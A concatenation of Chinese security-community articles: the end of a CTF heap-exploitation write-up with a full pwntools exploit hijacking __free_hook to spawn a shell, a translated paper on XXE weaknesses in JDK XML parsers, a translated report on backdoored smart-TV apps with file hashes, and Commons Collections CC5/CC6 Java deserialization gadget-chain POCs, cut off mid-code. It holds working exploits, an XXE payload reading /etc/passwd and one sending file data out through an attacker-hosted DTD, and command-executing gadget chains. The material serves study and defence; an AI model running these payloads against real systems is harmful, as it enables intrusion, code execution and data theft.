delete(5) #in chunk3,heap_addr in this chunk, free chunk 3
show()
p.recvuntil('3 : ')
heap_addr=u64(p.recv(6).ljust(8,'\0')) # chunk3 addr
success(hex(heap_addr))
#--------------------
delete(4)
delete(3) #double free chunk 3
如下图所示泄露的地址所在位置：
### attack
double free后fastbin指向为`chunk3->chunk4->chunk3->....`, 然后进行fastbin攻击
#### __malloc_hook
fastbin常规攻击`__malloc_hook`， 方法是在`__malloc_hook`上方寻找满足条件的chunk
size，在`__malloc_hook-0x23`位置寻找到满足条件的size，size为0x7f，那chunk的大小为`0x70-0x80`之间即可，我们使用的0x68尺寸对应的chunk大小为0x70，可利用该位置
利用方法为：
add(0x68,p64(libc.sym['__malloc_hook']-0x23))
add(0x68,'xxxx')
add(0x68,'cccc')
one_gadget=libc.address+0x4526a
add(0x68,'a'*0x13+p64(one_gadget))
题目给的程序限制了`__malloc_hook`的操作，修改也无法作用
#### `_IO_2_1_stdout_`
在`_IO_2_1_stdout_`结构中找到满足条件的size，位于`_IO_2_1_stdout_+0x9d`就有个位置
add(0x68,p64(libc.sym['_IO_2_1_stdout_']+0x9d))# index heap 3
add(0x68,p64(one_gadget)*12) #index heap 4
add(0x68,'cccc') #heap 5
add(0x68,'\x00'*3+p64(0)*2+p64(0xffffffff)+p64(one_gadget)*2++p64(libc.sym['_IO_2_1_stdout_']+144))
#add(0x68,'\x00'*3+p64(0)*2+p64(0xffffffff)+p64(one_gadget)*2+p64(heap_addr-0x60))
# 可将vtable指向heap-0x60,即`index heap 4`的内容位置，参数偏移可调试计算
'''
这里也可直接使用_IO_2_1_stdout_中的地址（无需泄露heap地址），
这里0xfffffffff为mode值，一般为0或-1，
下面2个one_gadget位于_IO_2_1_stdout_+200和_IO_2_1_stdout_+208,
vtable结构中的xputsn位于vtable的第8个指针，
那vtable地址可指向_IO_2_1_stdout_+144或_IO_2_1_stdout_+152，
即可控制xpustsn指向one_gadget
#note: puts或printf函数会调用xputsn指向的函数
'''
`_IO_2_1_stdout_`结构体如下：
gef➤ p _IO_2_1_stdout_
$5 = _IO_FILE_plus
_IO_FILE_plus
{
file = _IO_FILE
{
_flags = 0xfbad2887,
_IO_read_ptr = 0x7fb37b8cc6a3 <_IO_2_1_stdout_+131> "\n",
_IO_read_end = 0x7fb37b8cc6a3 <_IO_2_1_stdout_+131> "\n",
_IO_read_base = 0x7fb37b8cc6a3 <_IO_2_1_stdout_+131> "\n",
_IO_write_base = 0x7fb37b8cc6a3 <_IO_2_1_stdout_+131> "\n",
_IO_write_ptr = 0x7fb37b8cc6a3 <_IO_2_1_stdout_+131> "\n",
_IO_write_end = 0x7fb37b8cc6a3 <_IO_2_1_stdout_+131> "\n",
_IO_buf_base = 0x7fb37b8cc6a3 <_IO_2_1_stdout_+131> "\n",
_IO_buf_end = 0x7fb37b8cc6a4 <_IO_2_1_stdout_+132> "",
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x7fb37b8cb8e0 <_IO_2_1_stdin_>,
_fileno = 0x1,
_flags2 = 0x0,
_old_offset = 0xffffffffffffffff,
_cur_column = 0x0,
_vtable_offset = 0x0,
_shortbuf = "\n",
_lock = 0x7fb37b8cd780 <_IO_stdfile_1_lock>,
_offset = 0xffffffffffffffff,
_codecvt = 0x0,
_wide_data = 0x7fb37b8cb7a0 <_IO_wide_data_1>,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0x0,
_mode = 0xffffffff,
_unused2 = '\000' <repeats 19 times>
},
vtable = 0x7fb37b8ca6e0 <_IO_file_jumps>
}
gef➤ p *(const struct _IO_jump_t *)_IO_2_1_stdout_.vtable
$8 = _IO_jump_t
_IO_jump_t
{
__dummy = 0x0,
__dummy2 = 0x0,
__finish = 0x7fb37b5809c0 <_IO_new_file_finish>,
__overflow = 0x7fb37b581730 <_IO_new_file_overflow>,
__underflow = 0x7fb37b5814a0 <_IO_new_file_underflow>,
__uflow = 0x7fb37b582600 <__GI__IO_default_uflow>,
__pbackfail = 0x7fb37b583980 <__GI__IO_default_pbackfail>,
__xsputn = 0x7fb37b5801e0 <_IO_new_file_xsputn>,
__xsgetn = 0x7fb37b57fec0 <__GI__IO_file_xsgetn>,
__seekoff = 0x7fb37b57f4c0 <_IO_new_file_seekoff>,
__seekpos = 0x7fb37b582a00 <_IO_default_seekpos>,
__setbuf = 0x7fb37b57f430 <_IO_new_file_setbuf>,
__sync = 0x7fb37b57f370 <_IO_new_file_sync>,
__doallocate = 0x7fb37b574180 <__GI__IO_file_doallocate>,
__read = 0x7fb37b5801a0 <__GI__IO_file_read>,
__write = 0x7fb37b57fb70 <_IO_new_file_write>,
__seek = 0x7fb37b57f970 <__GI__IO_file_seek>,
__close = 0x7fb37b57f340 <__GI__IO_file_close>,
__stat = 0x7fb37b57fb60 <__GI__IO_file_stat>,
__showmanyc = 0x7fb37b583af0 <_IO_default_showmanyc>,
__imbue = 0x7fb37b583b00 <_IO_default_imbue>
}
调试发现无法get shell，使用其他`one_gadget`也get shell失败，调试发现其均无法满足约束条件
one_gadget /lib/x86_64-linux-gnu/libc.so.6
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
#### __free_hook
如何getshell，那只能想办法劫持到`system`地址，但函数需要参数`/bin/sh`。
那可以劫持`__free_hook`地址指向`system`，
再删除对应空间(`其值为/bin/sh\x00`)即可调用`system(/bin/sh)`从而get shell
劫持`__free_hook`的思路是，想办法修改`top
chunk`(`main_arena+88`)指向`__free_hook`上方某地址，然后多次分配内存，直到`__free_hook`地址附近，构造长度修改即可。
修改`top chunk`地址的方法是： 在`__malloc_hook`附近找到满足条件的chunk size，
在`__malloc_hook-0x3`找到一个位置；
写入时构造一个chunk header， size为0x70， 将0x70的fastbin数组位置（`main_arena+48`）指向这里
下一次分配即可分配到`main_arena+16`位置， 写入滑动到`main_arena+88`, 写入`__free_hook`上方某个满足`top
chunk size`条件的位置地址 ，这样`top chunk`就指向`__free_hook`上方某位置了
在`__free_hook`上方找一下，`__free_hook-0xb58`位置有一个符合条件的size，size足够大，满足`top chunk`条件
然后不断分配chunk，直到`__free_hook`附近。如分配0x90， 对应chunk size为0xa0, 那`0xb58/0xa0=18,
0xb58-0xa0*18=24`，
分配完18个0xa0大小的chunk后，再分配一个chunk，内容写入滑动`24-0x10=8`个字符即到达`__free_hook`位置，写入`system`即可
可看出`__free_hook`指向了`system`地址
add(0x68,p64(libc.sym['__malloc_hook']-0x23+0x20))# in heap 3
add(0x68,'/bin/sh\x00') # heap 4
add(0x68,'5555') # heap 5
add(0x68,chr(0x0)*(0x1b-8)+p64(0)+p64(0x70)*3+p64(libc.sym['__malloc_hook']+0x20))
add(0x68,chr(0)*0x38+p64(libc.sym['__free_hook']-0xb58))
for i in range(18):
add(0x90,'aaa')
add(0x90,'a'*8+p64(libc.sym['system']))
delete(4) # heap 4 content:/bin/sh\x00
p.interactive()
运行即可get shell
打远程也成功：
最终exp为:
from pwn import *
#context.log_level='debug'
p=process('./heap')
#p=remote('120.55.43.255', 12240) # raw ctf game addr
libc=ELF('./heap').libc
def add(size,data):
p.sendlineafter('Choice :','1')
p.sendlineafter('size: ',str(size))
p.sendafter('data: ',data)
def delete(index):
p.sendlineafter('Choice :','2')
p.sendlineafter('delete: ',str(index))
def show():
p.sendlineafter('Choice :','3')
add(0x100,'0000')#0
add(0x68,'1111')#1
delete(0)
add(0x100,'aaaaaaaa')#0
show()
libc_addr=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\0'))
success(hex(libc_addr))
libc.address=libc_addr-0x3c4b20-88
success('libc addr:'+hex(libc.address))
add(0x68,'2222')#2
add(0x68,'3333')#3
add(0x68,'4444')#4
delete(1)
add(0x68,'1'*0x68+'\xe1') #1, overchapping ,chunk 2 size
delete(2) # free 2 and 3
add(0x68,'2222')#2, heap 2
add(0x68,'5555')#5, heap 3
delete(5) # free chunk 3
delete(4)
delete(3) #double free chunk 3
#3->4->3
add(0x68,p64(libc.sym['__malloc_hook']-0x23+0x20))# heap 3
add(0x68,'/bin/sh\x00') # heap 4
add(0x68,'cccc') # heap 5
add(0x68,chr(0x0)*(0x1b-8)+p64(0)+p64(0x70)*3+p64(libc.sym['__malloc_hook']+0x20))
add(0x68,chr(0)*0x38+p64(libc.sym['__free_hook']-0xb58))
for i in range(18):
add(0x90,'aaa')
add(0x90,'a'*8+p64(libc.sym['system']))
delete(4)
p.interactive()
* * *
样本见附件 | 社区文章 |
# JDK XML解析器中的XXE防御
|
##### 译文声明
本文是翻译文章，文章原作者 Sergey Gorbaty，文章来源：blackhat.com
原文地址：<https://www.blackhat.com/docs/us-15/materials/us-15-Wang-FileCry-The-New-Age-Of-XXE-java-wp.pdf>
译文仅供参考，具体内容表达以及含义原文为准。
## 摘要
本文将证明许多Oracle JDK XML解析器容易受到Xml eXternal Entity（XXE）攻击。
我们还将证明现有的针对XXE攻击的Java防御措施的不足之处，并且其还无法防范恶意错误格式的XML，这会导致解析错误，并且成功加载外部实体。
我们能够达到读取文件和目录遍历的目的。我们提供了一个POC，通过不受信任的XML文件，从运行JDK
7的远程服务器中将文件名转发到到`/tmp`目录下。我们希望提高业界对XXE攻击危险性的认识。
## 1\. 介绍
在本文中，我们将对使用XML外部实体的标准攻击进行概述。在下面的小节中，我们将介绍基于JDK7的XML解析器的特定畸形XML攻击场景的效果。在后面的小节中，我们将介绍权威人士推荐的防御措施，并展示它们的不足之处。
### 1.1 背景
XML DTD可以由内部实体、外部实体和参数实体构建。
外部实体是对其他实体的引用，可以在当前文档之外找到。当XML解析器遇到外部实体URI时，它会扩展引用，以包含当前文档中外部链接的内容。外部实体可以引用一个文件或一个URL。
`简单的XXE payload`
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<test>&xxe;</test>
### 1.2 攻击介绍
正如上一节中所提到的，XML解析器抛出的异常可能发生在解析的不同阶段。JDK
XML实体展开器总是假设外部实体URL是良好形成的，并将尝试解析它。我们的第一个目标是确认外部实体正在被解析；因此，我们在一个实体中包含一个外部
URL。我们的第二个目标是创建一个指向无效 URL
的实体，该实体包含了由另一个外部实体扩展所产生的数据。这样的实体结构会迫使XML解析器先解析一些敏感的外部实体，然后使用特制的URL泄露解析后的数据，最后抛出一个IOException。这种情况下的IOException最常见的是影子，只有在尝试解析实体URL后才会抛出，此时攻击者已经通过攻击者控制的DNS解析器接收了数据。
`带有实体交叉引用的XXE`：
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % payload SYSTEM "file:///etc">
<!ENTITY % dtd SYSTEM "http://externallyhostedentity.com/a.dtd>
%dtd;
%release;
]>
<foo>business as usual</foo>
`远程服务器的a.dtd`：
<!ENTITY % nested "<!ENTITY % release SYSTEM ’jar:%payload;.externallyhostedentity.com!/’>">%nested;
有单独的a.dtd的主要原因是扩展引用不能在同一文档中引用。
上面的payload展示了攻击者如何通过监控DNS解析器或http://externallyhostedentity.com
HTTP日志来了解解析器是否易受XXE攻击。此外，XML解析器可能会将`/etc`目录内容泄漏给由攻击者控制的http://externallyhostedentity.com的A记录的权威DNS解析器。
## 2\. 不足的建议
Oracle
JDK7文档中包含了大量关于XML解析器配置的信息。开发者首先想到的一个选项是启用`FEATURE_SECURE_PROCESSING`，以防止外部连接。
> “当`FEATURE_SECURE_PROCESSING`被启用时，建议实现者默认限制外部连接”
可惜，尽管Oracle提出了建议，但当`FEATURE_SECURE_PROCESSING`被启用时，XML解析器实际上并没有限制外部连接。在处理XXE时，Oracle没有明确的建议，但对于某些解析器，它记录了如何关闭XML外部实体的扩展，而其他解析器则没有办法关闭它。OWASP的建议只覆盖了主要的JDK解析器，并通过在大多数解析器上完全禁止获取外部DTD来应对XXE威胁。Long等人都建议为XMLReader创建一个自定义的实体解析器，但没有涵盖其他任何实体。
在下面的章节中，我们将检查每个主要的JDK XML解析器提供商，并看看它为缓解XXE提供了哪些功能。
### 2.1 javax.xml.stream.XMLInputFactory
使用这个Oracle XML
factory上的`setProperty`方法，开发者可以将`javax.xml.stream.isSupportingExternalEntities`属性设置为false。不幸的是，正如我们发现的那样，设置这个属性不能正常工作，导致了一个0day漏洞，这个漏洞在`JDK
7u67`中得到了解决。
OWASP对该解析器的建议是忽略对`XML DTD`的需求，建议完全禁用外部DTD，这当然可以解决问题，但可能不符合业务需求。
### 2.2 javax.xml.parsers.DocumentBuilderFactory
OWASP建议禁用DTD，但同时也提到，如果不能完全屏蔽DTD，就应该直接禁用下面的`属性`：
<http://xml.org/sax/features/external-general-entities>
<http://xml.org/sax/features/external-parameter-entities>
遗憾的是，文档中并没有明确告诉需要禁用上述两个属性。单独禁用<http://xml.org/sax/features/external-general-entities> 对前面提到的攻击没有作用。
Morgan等人和OWASP的建议都显得非常相似。
Oracle文档中的`setAttribute`方法可以用来设置`XMLConstants.ACCESS_EXTERNAL_DTD`和`XMLConstants.ACCESS_EXTERNAL_SCHEMA`属性，这将允许开发人员限制可以用来获取DTD或模式的协议。开发者应该意识到，`jar://`协议是相当危险的，应该被排除在外，因为它可以解析文件和外部托管的网站。
### 2.3 javax.xml.parsers.SAXParserFactory
这个factory的Oracle文档中不包括任何可以帮助我们禁用外部实体处理的功能。OWASP包括从禁用DTD到仅禁用外部实体的建议。OWASP列出的防御措施与2.2中概述的防御措施类似。
### 2.4
javax.xml.transform.sax.SAXTransformerFactory和javax.xml.transform.TransformerFactory
Oracle中提供了如何禁用可用于获取外部DTD和外部实体的协议的信息。遗憾的是，如果不使用`XMLConstants.ACCESS_EXTERNAL_DTD`属性禁用DTD，就无法关闭外部实体。
### 2.5 javax.xml.validation.SchemaFactory和javax.xml.validation.Validator
这些特殊的解析器允许开发者使用`setResourceResolver`方法提供一个自定义的外部资源解析器。不幸的是，默认的参数值为`null`并不能带来安全的行为，本质上是一个无操作。开发者必须提供一个合适的解析器，否则攻击就会成功。
另一种安全的方法是利用`setProperty`方法，以`XMLConstants.ACCESS_EXTERNAL_DTD`作为第一个参数，以白名单协议作为第二个参数来减轻攻击。
### 2.6 javax.xml.bind.Unmarshaller和javax.xml.xpath.XPathExpression
正如Oracle文档所提示的那样，在解析外部实体方面，没有办法修改`Unmarshaller`的行为。
> 目前在Unmarshaller上没有任何属性需要被所有JAXB Providers支持”。
`XPathExpression`根本没有暴露任何设置属性的公共方法。
让这两个解析器安全可用的唯一选择是先使用不同的安全解析器解析XML，然后将结果传递进来。例如，对于`Unmarshaller`，开发者需要制作一个安全的`java.xml.transform.Source`，并将其传递给`unmarshal`方法。而对于`XPathExpression`，则需要将一个安全解析过的`org.xml.sax.InputSource`传给`evaluate(...)`方法。
## 3\. 结论
在防止XXE攻击方面，每个JDK解析器都有特定的配置。重要的是要配置`处理不正确输入`的解析器，以及处理正确但明知会产生错误的解析器。 | 社区文章 |
# 通过恶意App感染安卓智能电视
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
原文地址：<http://blog.trendmicro.com/trendlabs-security-intelligence/android-based-smart-tvs-hit-by-backdoor-spread-via-malicious-app/>
译文仅供参考，具体内容表达以及含义原文为准。
随着年终购物季的结束，许多消费者的家中也许新增了很多各式各样的智能设备。其中有一款目前已经得到了广泛使用的物联网设备，即智能电视。这种电视不仅仅是一种单纯的显示设备，有的智能电视甚至还可以运行安卓应用程序。有的人也许会认为这是一种非常有用的功能，但是这种功能也会给用户带来一定的安全风险。在两年之前，我们就曾对[智能电视中所存在的问题](http://www.trendmicro.com/vinfo/us/security/news/internet-of-things/are-smart-tvs-ready-for-prime-time)进行了研究和分析，而在当时我们就注意到了这个问题。
有的用户喜欢使用一些应用程序来观看海外的电视节目，因为他们无法通过其他方法来观看这类节目。但是，在这些电视App中，有的却会给用户带来安全风险。这些应用程序中会存在后门，攻击者可以通过这些后门来利用安卓操作系统中的一个存在已久的漏洞（[CVE-2014-7911](https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-7911)），谷歌公司已经在Lollipop
5.0版本的安卓操作系统中修复了这个漏洞，但Cupcake 1.5至Kitkat 4.4W.2版本的安卓系统仍然会受到这个漏洞的影响。
如今，大多数的智能电视使用的都是老版本的安卓操作系统，而这些版本的操作系统中仍然存在这一漏洞。例如长虹、飞利浦、松下等公司所出售的智能电视仍然存在安全漏洞。除此之外，其它采用了老版本安卓操作系统的智能电视设备同样有可能会受到黑客的攻击。值得注意的是，这种带有后门的应用程序主要使用在智能电视或者智能电视盒子之中。
在下列的图表中，我们列出了这类恶意应用程序的下载地址。这些网站的名字中都带有H.TV，访问这些网站的用户大多数都位于美国和加拿大地区。
除了上面所列出的网站之外，恶意软件还使用了下面给出的下载服务器：
**攻击是如何发生的？**
攻击者是如何进行攻击的呢？首先，攻击者会诱骗智能电视的用户去访问上述给出的那些网站，并想办法让他们去安装那些感染了恶意软件的应用程序。一旦用户在他们的智能电视中安装了这些应用程序之后，攻击者就可以触发目标系统中的漏洞了。攻击者可以利用Heap
Spray和[返回导向编程技术](http://resources.infosecinstitute.com/return-oriented-programming-rop-attacks/)等众所周知的漏洞利用技术来获取目标系统的控制权限。
我们可以从上图中看到，恶意软件成功触发了系统中的安全漏洞。
在上图中，恶意应用程序成功利用了系统中的漏洞。
在成功提权的情况下，攻击者将会在系统中悄悄安装其他的应用程序或者恶意软件。我们在分析之后发现，攻击者不仅能够远程更新目标系统中的应用程序，而且还可以向智能电视远程推送相关的app。
我们可以在上图中看到攻击者安装其他恶意软件的过程。
上图显示的是攻击者远程更新目标设备app的过程。
但是请你注意，这些远程安装的应用程序只能通过HTTP进行下载，而无法通过HTTPS进行下载。这也就意味着，如果另一个攻击者能够对目标设备进行中间人攻击，那么他就可以修改目标设备所下载的应用程序，并且覆盖掉第一个攻击者的有效攻击载荷。
**如何保护你的智能电视？**
趋势科技的移动安全产品能够检测到这种类型的安全威胁。尽管大多数的安卓移动设备都可以随时对系统进行升级和更新，但升级智能电视的系统对很多用户来说却是一个很大的挑战，因为这种操作会受到硬件的限制。鉴于这一情况，我们建议用户在智能电视中安装安全保护产品，并且尽量避免从第三方网站上下载和安装应用程序。
如果你需要了解更多有关智能电视的信息，请点击下列地址：
[http://www.trendmicro.com/vinfo/us/security/news/internet-of-things/are-smart-tvs-ready-for-prime-time](http://www.trendmicro.com/vinfo/us/security/news/internet-of-things/are-smart-tvs-ready-for-prime-time)
**相关的哈希值如下：**
019d4326d3340609b3f8326d51e031cafc6bf9a0
01a0b3fbf3e4e840e6aa441353ff29e4c5bf3e10
0637b9116af595e7451dea655a05c32aa89fcbdb
069138865d4a58b3683f1aa687408b40c92fe9cf
0937b9598a58c6fad80c8e41f08e11e6d036d4b4
0c6a075e0cf4e94d57afe085d39423400fa88b7c
2bbcf7511d6953a64f4284f2454dce119bd1063e
2daabbe1d2213594c2a8017401f4fa82e24a2475
396cb2137a6cd6880c96035464712513f44d52b9
3fd7f0b2e8249ff5f08a82f5df003f2713744824
583722e9c6bbbf78d7d4d9689679d22ff6a2c4e9
6357da20ed2661d9b8943275c515c3bd6b9b46c6
8f999a80497bc29f633301f7f96489fe9be4eab5
9434f41147eb7259dcf4f1dd8ed7d1209b1546b8
9ecbff5df641da74910439aefd4ab0596afaff6f
a54341b76b88034de6a47bb5904e6c01c53f3cc4
bde06adde1d6f4ac3a1865a4314ca45ca807b39c
d1af06e54e294dbc106c03650ac8a556c1b1e1e9
d1f005e07d5369230d2624de94cfcbdad14cd914
d3ab0dd0ac28181e0c531909460dcdd417178d2d
dbf3a4d820db3974edc8063d852afa40217a9750
fe86ae99ee7b75abf2bce047f4b5f2f1b20d3492 | 社区文章 |
## CC5
### 前言
CC5是对CC3.1版本的利用，分析过CC1就很容易看懂CC5了。
可参考：
[通俗易懂的Java Commons Collections 1分析](https://xz.aliyun.com/t/10357 "通俗易懂的Java
Commons Collections 1分析")
**环境搭建**
* JDK 1.8
* Commons Collections 3.1
pom.xml中添加：
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
</dependencies>
**利用链**
ObjectInputStream.readObject()
BadAttributeValueExpException.readObject()
TiedMapEntry.toString()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
ysoserial中提示到这只适用于JDK 8u76，并且没有安全管理器；
### 前置知识
CC5中涉及到两个新的类，这里先介绍一下：
**TiedMapEntry**
该类有两个参数，一个Map类型，一个Object类型；
后面我们会使用到它的`getValue`和`toString`方法。
**BadAttributeValueExpException**
该类只有一个`val`参数。
### POC分析
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CC5 {
public static void main(String[] args) throws ClassNotFoundException, IllegalAccessException, NoSuchFieldException {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry tiedmap = new TiedMapEntry(outerMap,123);
BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(poc,tiedmap);
try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc5.bin"));
outputStream.writeObject(poc);
outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc5.bin"));
inputStream.readObject();
}catch(Exception e) {
e.printStackTrace();
}
}
}
**代码1**
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
这一部分和CC1中LazyMap链一样，只要调用了`LazyMap.get()`，就可以触发`ChainedTransformer.transform()`，进而对transformers数组进行回调，然后执行命令。
**代码2**
TiedMapEntry tiedmap = new TiedMapEntry(outerMap, 123);
BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(poc,tiedmap);
`TiedMapEntry.getValue()`调用了`get()`，参数`map`是可控的；
所以实例化TiedMapEntry类，将`outerMap`传进去，第二个参数可以随便填，用来占位；
接着，`toString()`方法又调用了`getValue()`方法；
继续找哪里调用了`toString()`方法；
`BadAttributeValueExpException.readObject()`调用了`toString()`方法；
`valObj`是从`gf`中的`val`参数获取的，而`gf`又是从反序列化流中读取的；
所以，相当于控制了`val`参数，就控制了`valObj`，这里就通过反射给`val`赋为`TiedMapEntry`类的实例化对象；
即调用了`TiedMapEntry.toString()`，这样就满足了命令执行需要的所以条件。
### POC调试
从`BadAttributeValueExpException,readObject()`跟起，`valObj`就获取到`TiedMapEntry`类的对象；
跟进`toString`；
跟进`getValue`；
跟进`get`，这里出现了一点问题，`map`中包含了一个`key`为`123`，所以if判断为假，并没有进如if；
按道理是该进入if的，我又尝试了几次；
只在这个if这里断点，前面的断点都取消掉，那么`map`就没有`key`，可以进入if；
不知道这是什么原因，猜测是跟IDEA的调试机制有关吧；
继续，就跟到了`ChainedTransformer.transform()`，这里就对`tranaforms`数组进行循环回调；
循环到第三次`InvokerTransformer.transform()`；
return后，成功执行命令；
## CC6
### 前言
CC6还是通过调用`LazyMap#get`来触发RCE，任然用到了`TiedMapEntry`类，只不过调用`TiedMapEntry#getValue`的链不一样。
**环境搭建**
* JDK 1.8
* Commons Collections 3.1
pom.xml中添加：
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
</dependencies>
**利用链**
java.io.ObjectInputStream.readObject()
java.util.HashMap.readObject()
java.util.HashMap.put()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()
### 利用链分析
找到调用`LazyMap#get`的地方，任然是`TiedMapEntry#getValue`，`map`可控，传入LazyMap即可；
接下来寻找调用`getValue()`的地方，找到`TiedMapEntry#hashCode`；
接着寻找调用`hashCode()`的地方，找到`HashMap#hash`；
继续寻找调用`hash()`的地方，找到`HashMap#put`；
最后，在`HashSet#readObject`中，调用了`put()`；
### POC分析
**代码1**
Transformer[] fakeTransformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"notepad.exe"}),
};
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}),
};
构造两个Transformer数组，因为在后面调用`add()`的时候也会触发RCE，用两个不同的命令加以区分；
**代码2**
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
new一个`ChainedTransformer`对象，先将`fakeTransformers`传进去；
同样new一个`LazyMap`对象；
**代码3**
TiedMapEntry tiedmap = new TiedMapEntry(outerMap,"foo");
HashSet hashset = new HashSet();
hashset.add(tiedmap);
outerMap.remove("foo");
这里调用`add()`方法将含有恶意代码的对象传入`hashSet`，就不用像ysoserial中使用反射去传值，这样比较简便；
跟一下`add()`方法，这里的`map`是TiedMapEntry对象，跟进`put`；
调用了`hash`方法，继续跟进，`k`也是TiedMapEntry对象；
跟进`hashcode()`，这里就调用到了`getValue`；
跟进，`map`是LazyMap，调用了`get`方法；
来到`get()`，进入if，调用了`transform`；
跟进，这里的`iTransformers`是我们传入的`fakeTransformers`，里面是`notepad.exe`命令；
命令执行；
可以看一下这时的调用栈；
当然在这里执行命令不算咯，得在反序列化时执行才有用，这里也可以不使用`InvokerTransformer`，只是为了更清楚的表达这里也会调用`LazyMap#get`，触发RCE；
继续分析，这里已经调用过一次`LazyMap#get`了，为了后面反序列化时，能进入`get()`的if判断，所以调用`remove()`将key值删除掉；
**代码4**
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);
通过反射获取`ChainedTransformer`的`iTransformers`变量，将含有我们反序列化时要执行的命令的`transformers`数组传进去，替换前面的`fakeTransformers`；
完整POC：
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
public class CC6 {
public static void main(String[] args) throws ClassNotFoundException, IllegalAccessException, NoSuchFieldException {
Transformer[] fakeTransformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"notepad.exe"}),
};
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}),
};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
